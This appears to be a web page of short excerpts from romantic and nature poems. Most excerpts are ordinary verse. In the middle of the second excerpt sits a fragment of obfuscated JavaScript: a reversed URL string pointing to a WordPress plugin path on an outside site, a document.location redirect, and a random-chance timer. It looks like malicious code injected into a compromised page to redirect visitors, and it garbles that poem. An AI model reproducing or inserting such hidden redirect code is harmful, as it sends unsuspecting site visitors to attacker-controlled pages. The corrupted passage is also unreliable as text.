Miscellaneous Poems

Oh Scarlet my love, my rose, my raven, my heart of fire, your blood upon my lips the scent of you envelopes everything. You burn within me now my cauldrons lit by your desire, your kiss upon my lips my…

Mother of inspiration, she moves me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the well of deep love. She is the poem that runs from my quill, the dawning muse that awakens tired night and stirs the soft bees from…

Looking out the window as the mountains fade away, silent, yet there’s still so much to say. I’m much too tired to weep, but i just can’t fall asleep, as I rise above the clouds of black and grey, to…

Sleep, sleep, sleep again, to unconscious lands. Wander in the thoughtless stream tower of the careless dream. Sleep, sleep, sleep again, oh the broken servants of waking day, lost within the awakened rays, take solace in the forgetful dream. Sleep,…

So the story continues of our sun and fair rose for one door is opened when another is closed. All endings illusions beginnings all veils, between what has passed and what is revealed. Oh the shadow play of our sun…

Romance is but a ghost tonight, for the hearth has no host tonight, the storyteller has become a tale a cold season has shed it’s veil. Mysteries of love and truth like fallen flowers and starstruck youth, have tumbled back…

Bright fires fed on air and earth, from dark black ashes the land gives birth. In the burning heat the waters rise, from the fertile earth to the windswept skies. The wind and earth feed the burning heart, as the…